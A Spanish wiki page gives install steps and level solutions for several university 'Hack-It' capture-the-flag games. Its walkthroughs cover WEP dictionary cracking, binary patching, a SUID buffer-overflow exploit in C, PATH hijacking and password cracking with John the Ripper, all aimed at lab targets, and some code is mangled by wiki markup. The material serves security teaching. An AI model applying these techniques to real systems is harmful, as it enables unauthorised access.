Diferencia entre revisiones de «GhostHackIt»
(PhpWikiMigration) |
(Sin diferencias)
|
Revisión actual del 16:35 29 ago 2010
Contenido
Ghost Hack-It==============
Hack-It Semana Ciencias y Letras 2006====
Instalación
Si quieres instalarte este juego en tu ordenador, sólo tienes que hacer esto:
0) Prerrequisitos: un servidor web.
1) Bájate este TGZ y descomprímelo en tu directorio raíz de documentos web (DocumentRoot en Apache, en Debian sería en /var/www).
2) Accede a tu servidor web y deberías ver la web del concurso
Resolución
Nivel 1
Autenticación web con javascript.
Es una autenticación muy simple, aunque mosquea la redefinición de la función Login un poco más abajo.
Nivel 2
HTML ofuscado.
Se usa la ofuscación más simple, que es usar los códigos unicode de cada letra, con las funciones escape y unescape de javascript. En esta web: http://www.linkedresources.com/tools/unescaper_v0.2b1.html se puede "descifrar" fácilmente el código sin problemas.
Kodemonk Aún más sencillo y elegante es guardar la pagina en disco y modifcar los document.write por window.alert, te van saliendo popups con el código de la página ;D
Saladino Todavia más sencillo, con la extension WebDeveloper de firefox le das Information->View Javascript Y ahi sale todo el tema como "inline scripts". Tiempo aproximado: 2 nibblegundos. :P
Nivel 3
Esteganografia.
Los dos robotitos de las imágenes parecen idénticos pero al mirar los ficheros son claramente diferentes. Con el programa outguess obtenemos los datos ocultos en cada fichero:
$ outguess -r datos1.txt robotito1.jpg $ outguess -r datos2.txt robotito2.jpg
En la pista nos dicen que en la diferencia está la clave así que:
$ diff datos1.txt datos2.txt
y listo :-)
Nivel 4
Cracking WEP.
Lo primero que tenemos que hacer es analizar la captura (no seamos gañanes y nos aventuremos a un tipo de ataque sin mirar):
$ weplab -a captura-level4-indiferencia.pcap weplab - Wep Key Cracker Wep Key Cracker (v0.1.6). Jose Ignacio Sanchez Martin - TopoLB <topolb@users.sourceforge.net>
Statistics for packets that belong to F7:33:8F:B3:CC:72 - Total valid packets read: 0 - Total packets read: 1 - Total unique IV read: 0 - Total truncated packets read: 1 - Total non-data packets read: 1 - Total FF checksum packets read: 0 Statistics for packets that belong to 00:14:BF:48:90:DE - Total valid packets read: 1990 - Total packets read: 1990 - Total unique IV read: 1990 - Total truncated packets read: 1293 - Total non-data packets read: 0 - Total FF checksum packets read: 0 PRISMHEADER SHOULD --NOT-- BE USED as there are 697 packets smaller than this header
Como vemos, la captura solamente tiene 1990 paquetes, por lo que el ataque estadístico queda descartado. Solo nos quedan los de fuerza bruta y diccionario. El más rápido de los dos es el de diccionario, que puede recorrer un diccionario inglés o castellano en pocos segundos. Además, nos dicen que la clave es muy sencilla, asi que o bien es por diccionario sin complicaciones o bien es una fuerza bruta en las primeras combinaciones.
Descargamos el paquete wspanish que contiene todas las palabras del castellano y probamos con él:
$ cat /usr/share/dict/spanish | weplab -y captura-level4-indiferencia.pcap weplab - Wep Key Cracker Wep Key Cracker (v0.1.6). Jose Ignacio Sanchez Martin - TopoLB <topolb@users.sourceforge.net>
Not BSSID specified. Detected one packet with BSSID: 00:14:BF:48:90:DE
Total valid packets read: 697 Total packets read: 1991
Statistical cracking started==== Please hit enter to get statistics from John.==== Weplab statistics will be printed each 5 seconds
It seems that the first control data packet verifies the key==== Let's test it with others....==== Right KEY found====== Passphrase was --> salsa Key: 73:61:6c:73:61 This was the end of the dictionnary attack.
- -)
Nivel 5
Criptoanalisis.
Tenemos que descifrar este código:
ZPFNTXP O GNGFFUBLTS RNLBBHX YM OHTKVS, QTLHOG WY QFCYOORWWUE. IZMCNO ZHWBZWSUDWCG XFZ SGYNWUH 08:30b, NOFJO BX 9863, 220 UKUECG, 8 FCMZOL HBIHBWBG, GBAVWSGXP OZ XHFAWZI. COFHGFHFH 14 GJZWUUSSG, GHP 4, JWLCCWZBXBR 4.
Además, nos dan esta pista:
Kasiki bricht diese Anzeige mit dem Versuchen mit fünf von lenght========
Vamos a un traductor automático (el de Google por ejemplo) y obtenemos que la pista quiere decir algo similar a:
Kasiki rompería este mensaje probando con 5 como longitud========
Humm,, interesante. ¿Quién era Kasiki? Buscamos por él en Google y nos sugiere que probemos con Kasiski. Miramos en la Wikipedia y Kasiski fue famoso por romper el cifrado de Vigèrene. Buscamos una herramienta para romper Vigèrene con tamaño 5 de clave y obtenemos el texto en claro, que fue el primer mensaje de ENIGMA de 4 rotores descrifrado, y la clave, bastante sencilla.
Nivel 6
Crackme fácil.
El nivel tiene un programa que comprueba si un serial es correcto o no. Si es correcto, muestra la contraseña del siguiente nivel.
Lo primero que hacemos es un strings del programa, por si hay strings en claro:
$ strings crackme /lib/ld-linux.so.2 JvRegisterClasses 'gmonstart_ libc.so.6 printf puts exit IOstdin_used 'libcstartmain GLIBC_2.0 PTRh` ^_ ^_ ^_ 0123-4444-78 NOT REGISTERED======== Password: 0121-4123-71
Hummm, podría ser que 0123-4444-78 y 0121-4123-71 fueran los serials que se comparan. Hacemos la prueba modificando alguno de los dos para que sea igual que el otro (con el propio vi se puede hacer) y... voilá========
Algo más evolucionado:
- Cargamos el ejecutable en el GDB
- Ponemos un breakpoint en el main
- Ejecutamos paso a paso hasta que salga el mensaje de NOT REGISTERED========
- Miramos la dirección del código donde ha dado ese mensaje y buscamos un salto condicional anterior
- Cambiamos ese salto condicional por su contrario
$ gdb crackme GNU gdb 6.4-debian Copyright 2005 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...Using host libthreaddb library "/lib/tls/i686/cmov/libthreaddb.so.1".
(gdb) break main Breakpoint 1 at 0x80483e9 (gdb) run Starting program: /home/txipi/semanaeside2006/www/crackme
Breakpoint 1, 0x080483e9 in main () (gdb) nexti d0x080483ec in main () (gdb) 0x080483ef in main () (gdb) 0x080483f4 in main () (gdb) 0x080483f7 in main () (gdb) 0x080483fa in main () (gdb) 0x080483fd in main () (gdb) 0x08048400 in main () (gdb) 0x08048402 in main () (gdb) 0x08048406 in main () (gdb) 0x0804840a in main () (gdb) 0x0804840e in main () (gdb) 0x08048412 in main () (gdb) 0x08048416 in main () (gdb) 0x0804841a in main () (gdb) 0x0804841e in main () (gdb) 0x08048422 in main () (gdb) 0x08048426 in main () (gdb) 0x0804842a in main () (gdb) 0x0804842e in main () (gdb) 0x08048433 in main () (gdb) 0x08048436 in main () 0x0804843b in main () (gdb) 0x0804843e in main () (gdb) 0x08048443 in main () (gdb) 0x08048446 in main () (gdb) 0x0804844d in main () (gdb) 0x08048450 in main () (gdb) 0x08048453 in main () (gdb) 0x08048456 in main () (gdb) 0x0804845d in main () (gdb) 0x08048464 in main () (gdb) 0x08048465 in main () (gdb) 0x08048468 in main () (gdb) 0x0804846b in main () (gdb) 0x0804846e in main () (gdb) 0x0804846e in main () (gdb) 0x0804846e in main () (gdb) 0x0804846e in main () (gdb) 0x08048470 in main () (gdb) 0x08048473 in main () (gdb) 0x08048476 in main () (gdb) 0x08048478 in main () (gdb) 0x0804847a in main () (gdb) 0x0804847c in main () (gdb) 0x0804847f in main () (gdb) 0x08048481 in main () (gdb) 0x08048483 in main () (gdb) 0x0804848a in main () (gdb)
NOT REGISTERED========
(gdb) disas main Dump of assembler code for function main: 0x080483e4 <main+0>: push %ebp 0x080483e5 <main+1>: mov %esp,%ebp 0x080483e7 <main+3>: push %edi 0x080483e8 <main+4>: push %esi 0x080483e9 <main+5>: sub $0x40,%esp 0x080483ec <main+8>: and $0xfffffff0,%esp 0x080483ef <main+11>: mov $0x0,%eax 0x080483f4 <main+16>: add $0xf,%eax 0x080483f7 <main+19>: add $0xf,%eax 0x080483fa <main+22>: shr $0x4,%eax 0x080483fd <main+25>: shl $0x4,%eax 0x08048400 <main+28>: sub %eax,%esp 0x08048402 <main+30>: movb $0x3f,0xffffffe9(%ebp) 0x08048406 <main+34>: movb $0x2d,0xffffffea(%ebp) 0x0804840a <main+38>: movb $0x2f,0xffffffeb(%ebp) 0x0804840e <main+42>: movb $0x2d,0xffffffec(%ebp) 0x08048412 <main+46>: movb $0x2f,0xffffffed(%ebp) 0x08048416 <main+50>: movb $0x3b,0xffffffee(%ebp) 0x0804841a <main+54>: movb $0x3e,0xffffffef(%ebp) 0x0804841e <main+58>: movb $0x2f,0xfffffff0(%ebp) 0x08048422 <main+62>: movb $0x34,0xfffffff1(%ebp) 0x08048426 <main+66>: movb $0x3b,0xfffffff2(%ebp) 0x0804842a <main+70>: movb $0x3f,0xfffffff3(%ebp) 0x0804842e <main+74>: mov 0x8048649,%eax 0x08048433 <main+79>: mov %eax,0xffffffdc(%ebp) 0x08048436 <main+82>: mov 0x804864d,%eax 0x0804843b <main+87>: mov %eax,0xffffffe0(%ebp) 0x0804843e <main+90>: mov 0x8048651,%eax 0x08048443 <main+95>: mov %eax,0xffffffe4(%ebp) 0x08048446 <main+98>: movzbl 0x8048655,%eax 0x0804844d <main+105>: mov %al,0xffffffe8(%ebp) 0x08048450 <main+108>: lea 0xffffffdc(%ebp),%eax 0x08048453 <main+111>: mov %eax,0xffffffd4(%ebp) 0x08048456 <main+114>: movl $0x8048618,0xffffffd0(%ebp) 0x0804845d <main+121>: movl $0xd,0xffffffcc(%ebp) 0x08048464 <main+128>: cld 0x08048465 <main+129>: mov 0xffffffd4(%ebp),%esi 0x08048468 <main+132>: mov 0xffffffd0(%ebp),%edi 0x0804846b <main+135>: mov 0xffffffcc(%ebp),%ecx 0x0804846e <main+138>: repz cmpsb %es:(%edi),%ds:(%esi) 0x08048470 <main+140>: seta %dl 0x08048473 <main+143>: setb %al 0x08048476 <main+146>: mov %dl,%cl 0x08048478 <main+148>: sub %al,%cl 0x0804847a <main+150>: mov %cl,%al 0x0804847c <main+152>: movsbl %al,%eax 0x0804847f <main+155>: test %eax,%eax 0x08048481 <main+157>: je 0x804849b <main+183> 0x08048483 <main+159>: movl $0x8048625,(%esp) 0x0804848a <main+166>: call 0x80482f0 <puts@plt> 0x0804848f <main+171>: movl $0xffffffff,(%esp) 0x08048496 <main+178>: call 0x8048320 <exit@plt> 0x0804849b <main+183>: movl $0x8048637,(%esp) 0x080484a2 <main+190>: call 0x8048310 <printf@plt> 0x080484a7 <main+195>: movl $0x0,0xfffffff4(%ebp) 0x080484ae <main+202>: jmp 0x80484d3 <main+239> 0x080484b0 <main+204>: mov 0xfffffff4(%ebp),%eax 0x080484b3 <main+207>: movzbl 0xffffffe9(%ebp,%eax,1),%eax 0x080484b8 <main+212>: movsbl %al,%eax 0x080484bb <main+215>: add $0x34,%eax 0x080484be <main+218>: mov %eax,0x4(%esp) 0x080484c2 <main+222>: movl $0x8048643,(%esp) 0x080484c9 <main+229>: call 0x8048310 <printf@plt> 0x080484ce <main+234>: lea 0xfffffff4(%ebp),%eax 0x080484d1 <main+237>: incl (%eax) 0x080484d3 <main+239>: cmpl $0xa,0xfffffff4(%ebp) 0x080484d7 <main+243>: jle 0x80484b0 <main+204> 0x080484d9 <main+245>: movl $0x8048646,(%esp) 0x080484e0 <main+252>: call 0x8048310 <printf@plt> 0x080484e5 <main+257>: lea 0xfffffff8(%ebp),%esp 0x080484e8 <main+260>: pop %esi 0x080484e9 <main+261>: pop %edi 0x080484ea <main+262>: pop %ebp 0x080484eb <main+263>: ret 0x080484ec <main+264>: nop 0x080484ed <main+265>: nop 0x080484ee <main+266>: nop 0x080484ef <main+267>: nop End of assembler dump.
Es muy probable que la clave esté en
0x08048481 <main+157>: je 0x804849b <main+183>
que es el salto condicional anterior a la escritura del mensaje.
Arrancamos el biew y pulsamos F8 para que nos muestre la cabecera, al pulsar ENTER nos pone en el entrypoint del programa:
Entry point VA = 08048340H (offset: 00000340H)
También vemos que todo lo que en memoria es 08048XXX realmente en disco es XXX, o sea que si queremos ir a 0x8048481 tendremos que ir a 0x0000481. Si damos a desensamblar veremos que tenemos el mismo desensamblado que desde el GDB. Buscamos el je (codigo 74) y lo modificamos por un jne (codigo 75) y... tachán==== :-)====
Nivel 7
Crackme difícil.
Hack-It EuskalEncounter12 2004====
Instalación
Si quieres instalarte este juego en tu ordenador, sólo tienes que hacer esto:
0) Prerrequisitos: un servidor web.
1) Bájate hackitEKParty2004.tgz y descomprímelo en tu directorio raíz de documentos web (DocumentRoot en Apache, en Debian sería en /var/www).
2) Accede a tu servidor web y deberías ver la web del concurso
Resolución
Si quieres las soluciones de los ganadores del concurso, bájate hackitEKParty2004.txt .
Ghost Hack-It 2004====
Instalación
Si quieres instalarte este juego en tu ordenador, sólo tienes que hacer esto:
0) Prerrequisitos: apache instalado con soporte para PHP y CGIs en Perl. GCC, GDB, BIEW instalados.
1) Bájate [1]] y http://www.e-ghost.deusto.es/docs/shell-levels.tgz web-levels.tgz ], y descomprímelos en / (como root): cd / tar xfzp web-levels.tgz tar xfzp shell-levels.tgz 2) Añadir las lineas contenidas en los ficheros [http://www.e-ghost.deusto.es/docs/shadow.hackit04 y http://www.e-ghost.deusto.es/docs/group.hackit04 passwd.hackit04 | http://www.e-ghost.deusto.es/docs/passwd.hackit04 , [[ shadow.hackit04 ] a los respectivos ficheros (como root):
cat passwd.hackit04 >> /etc/passwd cat shadow.hackit04 >> /etc/shadow cat group.hackit04 >> /etc/group
3) Compilar el fichero pass04.c y copiarlo a /bin (como root):
gcc pass04.c -o pass cp pass /bin chmod 711 /bin/pass
4) Opcionalmente puedes instalar esta línea en el crontab:
* /root/level7.crontab
copiar /var/mail/level7 en /root/level7.mbox y hacer que el script /root/level7.crontab contenga lo siguiente:
#====/bin/sh==== cat /root/level7.mbox > /var/mail/level7
NOTA: Los UID y GID de los usuarios de tu sistema pueden colisionar con los del hackit, así que quizá debas cambiar los números en tu passwd, group y los propietarios de los directorios en /home.
Resolución
Para jugar deberemos acceder por web a la dirección IP del servidor del hack-it, donde se nos explicará el desarrollo del juego.
Nivel 1
Autenticación web con javascript.
Nivel 2
Autenticación web con flash.
Nivel 3
Autenticación web con javascript.
Nivel 4
Vulnerabilidad en PHP.
Nivel 5
Vulnerabilidad en CGI.
Nivel 6
Buffer overflow en programa con SUID.
Nivel 7
Correo electrónico "cifrado".
- Leer el correo, haciendo un "mail", un "cat" de /var/mail/level7 o mediante una sesión de POP3 con el servidor.
- Descifrar la clave, con este programilla (algoritmo del Cesar, clave "g" = 7):
main() { char pass[[[10]] = "ipuawhcvz"; int key = 7; int i = 0;
for(i=0;i<9;i++) { pass[[[i]] -= key; if (pass[[[i]] < 'a') pass[[[i]] += 26; }
printf("Pass: %s", pass); }
Nivel 8
Buffer overflow en programa con SUID.
- Habia que crackear este programa:
main(int argc, char *argv[[[]])
{
int crap;
int check;
char buf[[[20]];
strncpy(buf,argv[[[1]],25);
if (check
0xdeadbeef)
{
system("/bin/pass");
}
}
- Por ejemplo con este otro:
#include <unistd.h> #include <stdlib.h> #include <stdio.h>
main() { char buf[[[25]] = "AAAAAAAAAAAAAAAAAAAAAAAAA"; char *args[[[]] = { "/home/level8/level8", buf, NULL };
buf[[[20]] = 0xef; buf[[[21]] = 0xbe; buf[[[22]] = 0xad; buf[[[23]] = 0xde;
execv("/home/level8/level8", args); }
Nivel 9
Modificación de binario.
Nivel 10
Overflow en programa con SUID.
Ghost Hack-It 2003====
En esta página comentaremos los diferentes niveles del concurso "Hack-it 2003" celebrado durante la Semana ESIDE 2003.
Instalación
Si quieres instalarte este juego en tu ordenador, sólo tienes que hacer esto:
1) Bajarte hacklab.tgz y descomprimirlo en /home (como root):
cd /home tar xzf hacklab.tgz
2) Añadir las lineas contenidas en los ficheros [2]] y http://www.e-ghost.deusto.es/docs/group.hackit passwd.hackit | http://www.e-ghost.deusto.es/docs/passwd.hackit , [[ shadow.hackit ] a los respectivos ficheros (como root):
cat passwd.hackit >> /etc/passwd cat shadow.hackit >> /etc/shadow cat group.hackit >> /etc/group
3) Compilar el fichero pass.c y copiarlo a /bin (como root):
make pass cp pass /bin chmod 711 /bin/pass
4) Instalar un apache con soporte para mod_cgi (es lo normal tenerlo habilitado) y poner el [3]] en /var/www (o donde esté el DocumentRoot en tu sistema), y este CGI [[ nslookup.pl |http://www.e-ghost.deusto.es/docs/nslookup.pl nivel11.html ] en /usr/lib/cgi-bin (o donde tengais el ScriptAlias /cgi-bin/ en tu Apache).
apt-get install apache cp nivel11.html /var/www cp nslookup.pl /usr/lib/cgi-bin
Resolución
Nivel 0
Bienvenido al nivel 0, este es el nivel inicial.
El funcionamiento del "hack it" es el siguiente:
* Existen 10 niveles que deberás ir superando (level0, lenivel1, level2... level9).
* En cada nivel hay un programa que te dará acceso al siguiente nivel, es decir un programa que pertenece al usuario del siguiente nivel, pero que tu puedes ejecutar.
* Una vez hayas conseguido ejecutar ese programa y ascender de nivel, deberás llamar al programa "pass" para que te diga tu nueva contraseña.
* En cada directorio tienes un subdirectorio /tmp para poder hacer ahí tus pruebas.
SUERTE======
Resolución:
Este nivel es prácticamente de prueba, sólo haciendo ls -al en el directorio actual vemos que hay un ejecutable con SUID y perteneciente al nivel1:
-rwsr-x--- 1 nivel1 nivel0 4927 Dec 20 15:59 .oculto
lo ejecutamos...
Parece que no estaba tan oculto, eh======== Ejecuta "pass" para saber tu nueva contraseña======== sh-2.05b$
y ejecutamos pass para conseguir la contraseña del nivel recien alcanzado.
Una vez hecho esto, nos convertimos en el usuario nivel1:
su - nivel1
Nivel 1
Has conseguido pasar al nivel 1, parece que has entendido bien como va el juego ;-)
Este nivel es parecido al anterior, pero tu puerta al nivel 2 está un poco mejor escondida========
SUERTE======
Este nivel es prácticamente igual que el anterior, sólo que el ejecutable está un poco mejor ocultado. Si hacemos un ls -al vemos que hay dos directorios que se llaman .. :
drwxr-x--- 4 root level1 4096 Dec 20 16:05 . drwxr-xr-x 15 root root 4096 Mar 30 18:32 .. drwxr-xr-x 2 root root 4096 Dec 20 16:03 ..
Si intentamos entrar en el directorio con "cd .." nos sacará al directorio anterior. Tenemos que fijarnos que a pesar de que parecen iguales, los directorios se llaman diferente, el original es ".." y el oculto es el ".. ". Por ello, tenemos en cuenta este último espacio y entramos con cuidado:
cd ".. "
Una vez allí, ejecutamos el fichero "a.out" que tiene el bit de SUID activado y pertenece a nivel2, permitiéndonos el salto al nivel superior.
Nivel 2
Ya estás en el nivel 2, los dos primeros han sido pan comido, pero ahora nos ponemos serios...
La puerta al siguiente nivel te la dará el programa "run", pero tendrás que pasarle algo como parámetro.
¿Cuál es el programa más importante de este juego?
SUERTE======
En este nivel tenemos un programa que va a ejecutar el comando que nosotros queramos con privilegios del nivel superior, así que lo único que tenemos que hacer es pedirle que ejecute "pass" con privilegios del nivel3:
./run pass
Y nos dará la contraseña del nivel3, no del nivel2 :-)
Nivel 3
Bueno, bueno, subes como la espuma...
Esto ya va convirtiendose en un reto entre tu y yo, no sé si estarás a la altura.
En este nivel tenemos un programa que nos da la fecha del sistema, pero como soy un poco vago, en lugar de hacerlo yo, llamo a un comando del sistema, quizá puedas aprovecharte de ello para pasar al siguiente nivel.
SUERTE======
Este nivel ya tiene un poco más de tema. Sabemos que hay un programa que se ejecuta como nivel4 y que llama al comando date del sistema:
$ ./fecha Sun Mar 30 18:42:40 CEST 2003 $ date Sun Mar 30 18:42:44 CEST 2003
Vamos a presuponer que no ha puesto toda la ruta al comando date, sino que presupone que "date" está en el path. En base a esto, crearemos un programa "date" en el directorio actual, y añadiremos el directorio actual (el directorio ".") al path:
export PATH=.:$PATH
Para crear nuestra versión de date, deberemos estar en el directorio tmp de pruebas. ¿Qué programa queremos que se ejecute en lugar de date? "pass", para tener la nueva contraseña y aprovecharnos del fallo del programa "fecha". Para ello creamos un enlace simbólico desde nuestro "date" a /bin/pass:
cd tmp ln -s /bin/pass date ../fecha
Y con eso conseguimos la contraseña del nivel superior. En este nivel se demuestra el peligro de añadir el "." al PATH ;-P
Nivel 4
Ya queda menos==== Empieza lo bueno...====
Hace unos días entré en un viejo servidor koreano y conseguí un fichero de passwords. Como no tenía el día muy original, puse la misma contraseña al usuario level5 que la que conseguí con ese fichero.
Ah, recuerdos de tu buen amigo John ;-)
SUERTE======
Para crackear un fichero de passwords usaremos el programa "john the ripper" que está instalado en el servidor, en /usr/sbin/john. El john necesita crear un fichero temporal "john.pot", por lo que deberemos lanzarlo desde nuestro directorio temporal:
cd tmp /usr/sbin/john -i ../etc/passwd
En un par de minutos tendremos nuestra nueva contraseña crackeada.
Nivel 5
Bien, bien, veamos si eres todo lo buen cracker que has parecido demostrar.
Para guardar la siguiente contraseña he preferido usar mi navegador para emplear el viejo método de cambiar las letras, piensa a ver cómo puedes encontrar la contraseña original.
SUERTE======